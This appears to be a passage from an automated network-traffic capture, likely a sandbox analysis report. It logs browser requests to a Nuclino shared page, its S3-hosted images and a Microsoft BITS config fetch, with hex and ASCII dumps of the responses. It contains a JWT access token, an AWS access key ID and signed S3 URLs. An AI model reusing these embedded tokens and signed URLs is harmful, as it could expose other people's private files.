.sizing.reset-size3.size1{font-size:.71428571em}.kat
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 32 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 34 2e 73 69 7a 65 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 35 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 34 2e 73 69 7a 65 33 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 34 2e 73 69 7a 65 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 34 2e 73 69 7a 65 34 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 34 2e 73 69 7a 65 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 Data Ascii: 2,.katex .sizing.reset-size4.size2{font-size:.75em}.katex .fontsize-ensurer.reset-size4.size3,.katex .sizing.reset-size4.size3{font-size:.875em}.katex .fontsize-ensurer.reset-size4.size4,.katex .sizing.reset-size4.size4{font-size:1em}.katex .fontsize-ensu

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:18:59 UTC	556	OUT	GET /p/img/logo.svg HTTP/1.1 Host: share.nuclino.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:19:00 UTC	1115	IN	HTTP/1.1 200 OK Server: Cowboy Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1729243140&sid=c4c9725f-1ab0-44d8-820f-430df2718e11&s=xwrczp6HI43KG%2BthUW8bDEjhoXVO%2BoLAlRfwt2IX7Lw%3D"}]} Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1729243140&sid=c4c9725f-1ab0-44d8-820f-430df2718e11&s=xwrczp6HI43KG%2BthUW8bDEjhoXVO%2BoLAlRfwt2IX7Lw%3D Nel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]} Connection: close Cross-Origin-Opener-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Accept-Ranges: bytes Cache-Control: public, max-age=604800 Last-Modified: Wed, 16 Oct 2024 10:59:03 GMT Etag: W/"119d-19294fb30d8" Content-Type: image/svg+xml Content-Length: 4509 Date: Fri, 18 Oct 2024 09:19:00 GMT Via: 1.1 vegur
2024-10-18 09:19:00 UTC	71	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 73 76 67 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DT
2024-10-18 09:19:00 UTC	2372	IN	Data Raw: 44 20 53 56 47 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 47 72 61 70 68 69 63 73 2f 53 56 47 2f 31 2e 31 2f 44 54 44 2f 73 76 67 31 31 2e 64 74 64 22 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 0a 09 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 32 35 20 38 30 22 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3d 22 6e 65 77 20 30 20 30 20 33 32 35 20 38 30 22 20 78 6d 6c 3a Data Ascii: D SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 325 80" enable-background="new 0 0 325 80" xml:
2024-10-18 09:19:00 UTC	2066	IN	Data Raw: 2e 34 2d 33 2e 35 2d 30 2e 36 2d 35 2e 34 2d 30 2e 36 0a 09 09 63 2d 31 33 2e 35 2c 30 2d 32 34 2e 35 2c 31 31 2d 32 34 2e 35 2c 32 34 2e 35 63 30 2c 31 33 2e 35 2c 31 31 2c 32 34 2e 35 2c 32 34 2e 35 2c 32 34 2e 35 68 32 34 2e 38 76 31 34 2e 34 63 30 2c 30 2e 39 2c 30 2e 34 2c 31 2e 37 2c 31 2e 31 2c 32 2e 32 63 30 2e 35 2c 30 2e 33 2c 31 2c 30 2e 35 2c 31 2e 36 2c 30 2e 35 63 30 2e 33 2c 30 2c 30 2e 35 2c 30 2c 30 2e 38 2d 30 2e 31 0a 09 09 63 30 2e 33 2d 30 2e 31 2c 36 2e 35 2d 32 2c 31 32 2e 32 2d 38 2e 34 63 32 2e 39 2d 33 2e 32 2c 34 2e 38 2d 36 2e 36 2c 35 2e 38 2d 38 2e 36 63 30 2e 37 2c 30 2e 31 2c 31 2e 33 2c 30 2e 31 2c 32 2c 30 2e 31 63 31 33 2e 35 2c 30 2c 32 34 2e 35 2d 31 31 2c 32 34 2e 35 2d 32 34 2e 35 43 31 30 35 2e 34 2c 32 32 2e 31 2c Data Ascii: .4-3.5-0.6-5.4-0.6c-13.5,0-24.5,11-24.5,24.5c0,13.5,11,24.5,24.5,24.5h24.8v14.4c0,0.9,0.4,1.7,1.1,2.2c0.5,0.3,1,0.5,1.6,0.5c0.3,0,0.5,0,0.8-0.1c0.3-0.1,6.5-2,12.2-8.4c2.9-3.2,4.8-6.6,5.8-8.6c0.7,0.1,1.3,0.1,2,0.1c13.5,0,24.5-11,24.5-24.5C105.4,22.1,

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:19:00 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-18 09:19:00 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=26759 Date: Fri, 18 Oct 2024 09:19:00 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-18 09:19:00 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:19:00 UTC	856	OUT	GET /files/f89a255e-4aae-48e1-ac8e-8d8d9885c27d/6160d273-1306-450f-93ab-5f4655227e69.png?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJmODlhMjU1ZS00YWFlLTQ4ZTEtYWM4ZS04ZDhkOTg4NWMyN2QiLCJwdXJwb3NlIjoiZ2V0LWZpbGUiLCJleHAiOjE3MjkyNDY3MzgsImlhdCI6MTcyOTI0MzEzOH0.AFTKbdyDi2jTNEHvZhRtvIw_qcPusDwS3CysmVsaQhc&preview=m HTTP/1.1 Host: files.nuclino.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:19:01 UTC	1002	IN	HTTP/1.1 302 Found Server: Cowboy Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1729243140&sid=c4c9725f-1ab0-44d8-820f-430df2718e11&s=s2%2FPa2fQZ8QaLRkoCeutCfYC5SasDey3mSnM54KhLoU%3D"}]} Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1729243140&sid=c4c9725f-1ab0-44d8-820f-430df2718e11&s=s2%2FPa2fQZ8QaLRkoCeutCfYC5SasDey3mSnM54KhLoU%3D Nel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]} Connection: close Cross-Origin-Opener-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Vary: Origin, Accept Access-Control-Allow-Credentials: true Cache-Control: private,max-age=21300
2024-10-18 09:19:01 UTC	705	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6e 75 63 6c 69 6e 6f 2d 66 69 6c 65 73 2e 73 33 2e 65 75 2d 63 65 6e 74 72 61 6c 2d 31 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 61 34 35 39 32 34 36 62 2d 35 66 31 30 2d 34 31 39 34 2d 61 66 34 36 2d 38 36 62 62 34 61 39 39 66 61 32 38 2f 37 32 30 78 34 30 37 2e 70 6e 67 3f 58 2d 41 6d 7a 2d 41 6c 67 6f 72 69 74 68 6d 3d 41 57 53 34 2d 48 4d 41 43 2d 53 48 41 32 35 36 26 58 2d 41 6d 7a 2d 43 6f 6e 74 65 6e 74 2d 53 68 61 32 35 36 3d 55 4e 53 49 47 4e 45 44 2d 50 41 59 4c 4f 41 44 26 58 2d 41 6d 7a 2d 43 72 65 64 65 6e 74 69 61 6c 3d 41 4b 49 41 34 36 4c 4a 36 57 35 43 48 4a 37 56 4f 49 36 57 25 32 46 32 30 32 34 31 30 31 38 25 32 46 65 75 2d 63 65 6e 74 72 61 6c 2d 31 25 32 46 73 33 25 32 46 61 77 Data Ascii: Location: https://nuclino-files.s3.eu-central-1.amazonaws.com/a459246b-5f10-4194-af46-86bb4a99fa28/720x407.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=AKIA46LJ6W5CHJ7VOI6W%2F20241018%2Feu-central-1%2Fs3%2Faw
2024-10-18 09:19:01 UTC	598	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 6e 75 63 6c 69 6e 6f 2d 66 69 6c 65 73 2e 73 33 2e 65 75 2d 63 65 6e 74 72 61 6c 2d 31 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 61 34 35 39 32 34 36 62 2d 35 66 31 30 2d 34 31 39 34 2d 61 66 34 36 2d 38 36 62 62 34 61 39 39 66 61 32 38 2f 37 32 30 78 34 30 37 2e 70 6e 67 3f 58 2d 41 6d 7a 2d 41 6c 67 6f 72 69 74 68 6d 3d 41 57 53 34 2d 48 4d 41 43 2d 53 48 41 32 35 36 26 58 2d 41 6d 7a 2d 43 6f 6e 74 65 6e 74 2d 53 68 61 32 35 36 3d 55 4e 53 49 47 4e 45 44 2d 50 41 59 4c 4f 41 44 26 58 2d 41 6d 7a 2d 43 72 65 64 65 6e 74 69 61 6c 3d 41 4b 49 41 34 36 4c 4a 36 57 35 43 48 4a 37 56 4f 49 36 57 25 32 46 32 30 32 34 31 30 31 38 25 32 46 65 75 2d 63 65 6e 74 72 61 6c Data Ascii: Found. Redirecting to https://nuclino-files.s3.eu-central-1.amazonaws.com/a459246b-5f10-4194-af46-86bb4a99fa28/720x407.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=AKIA46LJ6W5CHJ7VOI6W%2F20241018%2Feu-central

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:19:02 UTC	1091	OUT	GET /a459246b-5f10-4194-af46-86bb4a99fa28/720x407.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=AKIA46LJ6W5CHJ7VOI6W%2F20241018%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Date=20241018T091901Z&X-Amz-Expires=21600&X-Amz-Signature=6c275af9d44cac1a2e76ef984ca55afd317b660e5b61f32fbe0771b16e8afd20&X-Amz-SignedHeaders=host&response-cache-control=private%2Cmax-age%3D21600&response-content-disposition=attachment%3B%20filename%3D%226160d273-1306-450f-93ab-5f4655227e69.png%22&x-id=GetObject HTTP/1.1 Host: nuclino-files.s3.eu-central-1.amazonaws.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:19:02 UTC	552	IN	HTTP/1.1 200 OK x-amz-id-2: 0tqWyATjkaw59/J4ZRp32gMd6SYeB5Cc6TTQQFTNnJx46qB70k4wayZWYemXR/1pdwJpqTjmE7/3VJGZNa0UWw== x-amz-request-id: D7Q5TN2FSV4DP1H0 Date: Fri, 18 Oct 2024 09:19:03 GMT Last-Modified: Thu, 17 Oct 2024 23:53:54 GMT ETag: "4d832316268be225d3c61b069374c551" x-amz-server-side-encryption: AES256 Cache-Control: private,max-age=21600 Content-Disposition: attachment; filename="6160d273-1306-450f-93ab-5f4655227e69.png" Accept-Ranges: bytes Content-Type: image/png Server: AmazonS3 Content-Length: 140814 Connection: close
2024-10-18 09:19:02 UTC	3452	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 d0 00 00 01 97 08 06 00 00 00 9a e2 67 d5 00 00 03 fa 69 43 43 50 69 63 63 00 00 38 8d 8d 55 5d 68 1c 55 14 3e 9b b9 b3 2b 24 ce 83 d4 a6 a6 92 0e fe 35 94 b4 6c 52 d1 84 da e8 fe 65 b3 6d dc 2c 93 6c b4 41 90 c9 ec dd 9d 69 26 33 e3 fc a4 69 29 3e 14 41 10 c1 a8 e0 93 e0 ff 5b c1 27 21 6a ab ed 8b 2d a2 b4 50 a2 04 83 28 f8 d0 fa 47 a1 d2 17 09 eb b9 33 b3 bb 93 b8 6b bd cb dc f9 e6 9c ef 7e e7 de 73 ee de 0b 90 b8 2c 5b 96 de 25 02 2c 1a ae 2d e5 d3 e2 b3 c7 e6 c4 c4 3a 74 c1 7d d0 0d 7d d0 2d 2b 8e 95 2a 95 26 01 1b e3 c2 bf da ed ef 20 c6 de d7 f6 b7 f7 ff 67 eb ae 50 47 01 88 dd 85 d8 ac 38 ca 22 e2 65 00 fe 15 c5 b2 5d 80 04 41 fb c8 09 d7 62 f8 09 c4 3b 6c 9c 20 e2 12 c3 b5 00 57 18 9e 0f f0 Data Ascii: PNGIHDRgiCCPicc8U]hU>+$5lRem,lAi&3i)>A['!j-P(G3k~s,[%,-:t}}-+*& gPG8"e]Ab;l W
2024-10-18 09:19:02 UTC	16384	IN	Data Raw: 7c 98 d6 d6 56 bc 5e 2f 07 0e 1c 40 51 14 ca ca ca 28 29 29 c1 e1 70 60 18 06 0e 87 83 68 34 ca 73 cf 3d c7 93 4f 3e 49 2c 16 e3 af fe ea af 58 ba 74 29 cf 3f ff 3c ff fe ef ff ce 93 4f 3e 49 51 51 11 f3 e7 cf b7 5a 26 0c c3 40 d7 75 fc 7e 3f b7 dc 72 0b 37 de 78 23 36 9b 8d 96 96 16 36 6f de cc 8b 2f be c8 96 2d 5b 58 be 7c 39 39 39 39 a8 aa 4a 7f 7f 3f 67 ce 9c e1 af fe ea af b8 e6 9a 6b d8 b2 65 0b 0f 3c f0 00 07 0e 1c e0 e8 d1 a3 4c 9b 36 cd 0a bd 9a a6 e1 70 38 38 7e fc 38 ff f3 3f ff 43 7d 7d 3d 6b d6 ac e1 2b 5f f9 0a 3d 3d 3d fc dd df fd 1d bb 76 ed e2 57 bf fa 15 5f fb da d7 28 2b 2b bb 24 b0 2a 8a 42 2c 16 e3 b5 d7 5e e3 d0 a1 43 18 86 41 4f 4f 0f d9 d9 d9 d4 d4 d4 30 65 ca 14 6b 10 e6 be 7d fb 68 69 69 21 3d 3d 9d d2 d2 52 9c 4e 27 db b6 6d e3 Data Ascii: \|V^/@Q())p`h4s=O>I,Xt)?<O>IQQZ&@u~?r7x#66o/-[X\|9999J?gke<L6p88~8?C}}=k+_===vW_(++$*B,^CAOO0ek}hii!==RN'm
2024-10-18 09:19:02 UTC	1024	IN	Data Raw: 76 bb d9 bb 77 2f 3b 77 ee 24 16 8b d1 da da 4a 28 14 22 29 29 c9 ea a7 75 b9 5c 56 45 77 e9 d2 a5 38 1c 0e 7a 7a 7a 78 e5 95 57 68 6e 6e 66 64 64 84 c4 c4 44 6c 36 1b 76 bb 1d bb dd ce c8 c8 88 15 96 0d c3 a0 a7 a7 07 9b cd 46 67 67 27 1d 1d 1d f8 fd 7e 56 ad 5a 75 c5 b9 90 1d 0e 07 39 39 39 ac 58 b1 82 25 4b 96 60 18 06 0e 87 83 97 5e 7a 89 53 a7 4e 11 0a 85 48 49 49 a1 bd bd 9d 4d 9b 36 71 e1 c2 05 74 5d e7 f0 e1 c3 8c 8e 8e 5a 6d 00 66 ef f3 c5 d3 cf 99 fb aa aa 2a d1 68 94 a6 a6 26 1a 1b 1b 59 be 7c 39 b7 dd 76 1b 09 09 09 14 17 17 b3 6f df 3e 06 07 07 27 85 6e a7 d3 c9 cc 99 33 59 b3 66 8d 55 c9 cd c9 c9 a1 bd bd 9d 57 5e 79 85 b3 67 cf 12 0c 06 b9 70 e1 02 9d 9d 9d 14 14 14 30 6b d6 2c 5c 2e 17 0d 0d 0d f4 f5 f5 b1 60 c1 02 eb bc 94 97 97 b3 70 e1 Data Ascii: vw/;w$J("))u\VEw8zzzxWhnnfddDl6vFgg'~VZu999X%K`^zSNHIIM6qt]Zmf*h&Y\|9vo>'n3YfUW^ygp0k,\.`p
2024-10-18 09:19:02 UTC	16384	IN	Data Raw: 4d 62 62 a2 f5 c9 4d 46 46 06 0b 16 2c b0 42 fb 53 4f 3d c5 d1 a3 47 99 39 73 26 53 a7 4e 25 21 21 61 d2 f1 9b 03 47 a3 d1 28 0e 87 83 d1 d1 51 eb 5c 00 14 14 14 30 67 ce 9c 49 f3 41 4b 70 16 42 08 21 7e 87 02 b4 f9 0f b7 19 30 cc 3f 4f 6c 37 30 ff d1 9f 58 01 d3 75 1d af d7 cb b2 65 cb 58 bb 76 2d 33 66 cc 98 54 c9 4d 4a 4a 22 21 21 81 86 86 06 6b 3b 4e a7 93 96 96 16 7e f5 ab 5f 51 56 56 c6 3f fe e3 3f 92 93 93 c3 a1 43 87 ac 41 72 66 58 33 f7 63 e2 47 ff 17 af 90 77 39 66 a8 5c b6 6c 19 b7 dd 76 1b 4e a7 d3 0a a0 6e b7 9b e4 e4 e4 cb 1e bf f9 7a e1 70 d8 9a f1 02 de 9c 85 c4 ed 76 33 30 30 c0 ce 9d 3b 39 7d fa 34 4b 96 2c e1 eb 5f ff 3a c9 c9 c9 fc cf ff fc 0f cf 3e fb ec a4 e0 ac 28 0a 9a a6 61 18 06 aa aa 12 8f c7 09 87 c3 d6 d7 cc 6a b4 a2 28 44 a3 Data Ascii: MbbMFF,BSO=G9s&SN%!!aG(Q\0gIAKpB!~0?Ol70XueXv-3fTMJJ"!!k;N~_QVV??CArfX3cGw9f\lvNnzpv300;9}4K,_:>(aj(D
2024-10-18 09:19:02 UTC	1024	IN	Data Raw: db b2 d8 16 44 6f c7 76 6c c7 16 40 ff 46 8f ef a1 93 84 bc 8e 83 5b 3f 14 e4 d2 63 5f be 86 8d 5e 03 e0 ab af ed 97 79 35 59 85 a3 08 f9 41 ac 56 62 a2 07 86 70 21 95 06 42 55 74 a4 74 06 f3 64 48 aa a9 fc 3e c9 d5 3c 99 4d f9 f9 93 8e 9f 3d 9e f1 c9 c9 9c 4f cf 97 bc b8 e8 58 2c 0c a7 23 d4 09 f8 94 03 5a 8a 2c 24 26 48 71 f3 4b f4 00 45 49 03 db 37 1b 44 b9 a4 6b 7c 37 ae ce 85 5c fa 5b 1d 00 ee cb 20 5a 61 c5 d0 0d 91 d5 60 87 7c 7d 2a 64 13 48 ac a0 95 69 96 9c 88 cb ef 28 19 30 ac 40 89 5a 96 49 74 b0 38 0b bc 3c 9b f1 f0 d9 9c cf 9f 8f f9 d1 fb 23 7e f8 81 e3 c7 63 cf 3b 3b 9e 7a 24 4c 9c 47 cd 68 53 20 86 88 b3 7c 93 79 60 d4 db 10 a6 0c 9e 93 da 95 ef b5 31 9f 05 64 85 92 16 38 ae 95 aa f2 a4 94 98 2f 23 a7 17 1d a2 8e dd 89 63 67 e4 a8 6b c5 b9 Data Ascii: Dovl@F[?c_^y5YAVbp!BUttdH><M=OX,#Z,$&HqKEI7Dk\|7\[ Za`\|}*dHi(0@ZIt8<#~c;;z$LGhS \|y`1d8/#cgk
2024-10-18 09:19:02 UTC	16384	IN	Data Raw: f3 e2 bc 63 d6 18 0d 46 2b 6b 48 15 53 24 25 c9 a9 7f 6e cd 60 ad 8c 23 86 0e 04 92 e9 e9 b2 b9 cc 66 5b 9c ad 19 e3 37 b0 ef d7 e6 84 d8 f5 af d3 01 88 d6 4b f8 ae df ba ed 59 bb fe 81 9a 4f d7 10 6d 97 e3 5b d3 73 6b 66 4e b3 5e da 2c 03 22 11 87 a9 90 cc 11 63 c3 2c 24 a6 e7 89 e3 60 7c f6 4a f9 f0 96 f2 a3 77 23 af 3e e8 f8 c1 bd 09 ef ec 4c d8 f1 13 64 b9 80 f9 92 d0 74 b9 e0 29 5b ef b9 b9 d1 f2 7b f7 5b e5 66 a8 f5 b2 8f 7c 2e 4d a0 1e 29 82 d2 74 89 65 13 98 ce 23 4d 97 a8 9c 50 57 99 99 1e d7 8e ae ed 58 86 b8 0e 5d d1 01 93 3d d0 d0 f6 13 35 64 6a ed 3a 82 7e 35 af b2 c9 64 7e 5b 77 87 7a 2e d8 d8 34 d8 ee b5 e4 f4 45 5e 5c 69 cf 85 0c 4c 13 42 52 29 05 6a d9 25 40 48 83 a2 c7 9b a1 d6 87 e2 f4 32 8a 84 13 90 0c 4d 0b 20 5d df db 22 9b 94 a4 15 Data Ascii: cF+kHS$%n`#f[7KYOm[skfN^,"c,$`\|Jw#>Ldt)[{[f\|.M)te#MPWX]=5dj:~5d~[wz.4E^\iLBR)j%@H2M ]"
2024-10-18 09:19:02 UTC	1024	IN	Data Raw: f9 67 83 0a a9 0f 14 71 11 d3 44 d4 44 94 44 32 c1 9c 81 07 73 a9 14 36 89 a4 89 a8 11 34 bb b5 57 66 54 06 ce a0 4a 96 e5 57 1d d9 7d 47 73 33 71 eb 94 4e a1 25 12 2c fb 0d 3b 49 d4 4e 41 13 49 ba bc 6e a8 a2 aa 24 6f 54 a9 a8 b5 0c 82 da 0a 60 c5 e2 ca 62 24 14 c1 13 0a 78 4c 38 4b 78 8b 78 12 66 c6 b9 24 66 13 38 f3 8a d3 44 8a 9e ca 95 42 20 26 ea 68 f8 68 ec ab 11 5d a4 03 62 99 6f 4f c0 17 49 8b 9a e4 39 44 08 e5 3c 7b 07 e3 94 8b 17 6b 03 23 4b 74 aa 44 15 5c 10 48 1e 17 8d 51 8a 54 29 07 15 79 67 34 0e 1a 27 98 08 be 52 24 39 2c 28 62 15 4a 8d 99 11 ac a3 b5 0e a1 43 25 30 d6 84 ba 80 ba 86 ce 65 64 6c 12 09 2b 27 9b 52 44 65 07 d1 bc 36 17 82 c2 24 10 59 12 2d 20 52 fa 49 12 28 11 b1 50 da 74 4b 0f 44 f1 63 ef 99 65 49 20 96 4a cc 77 a9 73 90 b2 Data Ascii: gqDDD2s64WfTJW}Gs3qN%,;INAIn$oT`b$xL8Kxxf$f8DB &hh]boOI9D<{k#KtD\HQT)yg4'R$9,(bJC%0edl+'RDe6$Y- RI(PtKDceI Jws
2024-10-18 09:19:02 UTC	16384	IN	Data Raw: fa 15 06 52 cb bd 12 0a 10 0a 6a 84 e2 fa 61 12 33 6b a9 4a 2b 64 0d b0 ad 21 8d 49 be 8f 53 02 53 cd 2e 1d 26 78 0c 47 2a 7e d3 6b d0 2f 92 56 4d 92 6e d8 42 d6 37 3d 0e 9c 73 2c 25 2c e6 80 9c 4a 14 13 c3 9b e1 4c b3 3b 49 89 0f 4f 04 5c ca ef 6a 22 38 cb 61 1e 4e 04 15 45 4b f5 d7 43 36 33 2d 1e 3c 3d bc ce bb 5f bd 56 5f 0c ea 68 ec b6 79 8e 77 5b 63 af 89 8c 82 a1 21 65 60 6b 92 a3 b2 55 31 cd c7 9a ca 5c 6a 32 bc f5 2c 78 3e 6f 41 ad 48 59 a0 b2 44 5d e6 b0 43 e8 4a 44 78 50 a5 2d c5 47 d0 ec 6a d2 4b 20 2a 12 91 44 4c 8e ca a0 8e 92 8f c7 12 95 46 a2 34 20 46 45 44 2c 66 26 3c e5 82 c3 15 f7 96 dc 2b b0 e6 8d f3 bf ad 15 c5 49 06 4e 45 22 a0 89 b5 9c 3e db 79 5a 1f 42 34 b0 b2 bc 5c 1b f7 eb 6e 32 b7 2a fa b4 5c 7b 91 5c 4c 45 31 a2 c4 02 a4 ad 44 Data Ascii: Rja3kJ+d!ISS.&xG~k/VMnB7=s,%,JL;IO\j"8aNEKC63-<=_V_hyw[c!e`kU1\j2,x>oAHYD]CJDxP-GjK DLF4 FED,f&<+INE">yZB4\n2*\{\LE1D
2024-10-18 09:19:02 UTC	1024	IN	Data Raw: 6c bc 7e 9d de 9d 15 a4 53 81 8e 88 0c 99 55 c7 cc fc 88 20 25 d6 54 08 47 68 dc 46 ab 55 b4 2c 28 67 f7 39 1d 3f 65 ff 74 1f 7b 7a c2 5a c7 33 58 32 14 92 31 c1 51 12 c8 aa 8a cc 5a f2 18 71 2e d6 f2 0e a1 b4 4a 69 0c 26 82 ab 85 ac 41 2c 95 b1 38 22 d6 44 8c 85 e8 04 e9 1a 6c 1e 70 d5 29 e5 d1 1e d5 fe 43 c2 ec 10 dd b4 b8 e0 70 5a a2 d5 36 d5 fe 47 4c 9e fc 03 b3 e1 94 a5 ab 1b 20 25 9e 90 2a 4b 1e 42 a9 54 a5 12 bd c2 28 60 8a 80 91 0a 8d 8a b3 8e f5 cd 15 ba 2f dc e6 78 74 cc 78 34 64 3e 4f c7 d2 ae 74 b8 ba bc 89 ed af 24 65 42 31 45 f2 09 21 78 e6 33 43 55 18 24 08 9d a5 3e ab d7 37 b1 37 ae e3 33 cb f1 de 3e a7 9f 3f 65 3e 19 e3 34 e0 a2 67 3a 1c 51 8e 27 cc 8a 40 d6 b9 43 be 56 20 79 86 91 75 b4 bb 9e 00 74 10 54 2d 2e d6 96 24 6a 10 8d 88 94 60 Data Ascii: l~SU %TGhFU,(g9?et{zZ3X21QZq.Ji&A,8"Dlp)CpZ6GL 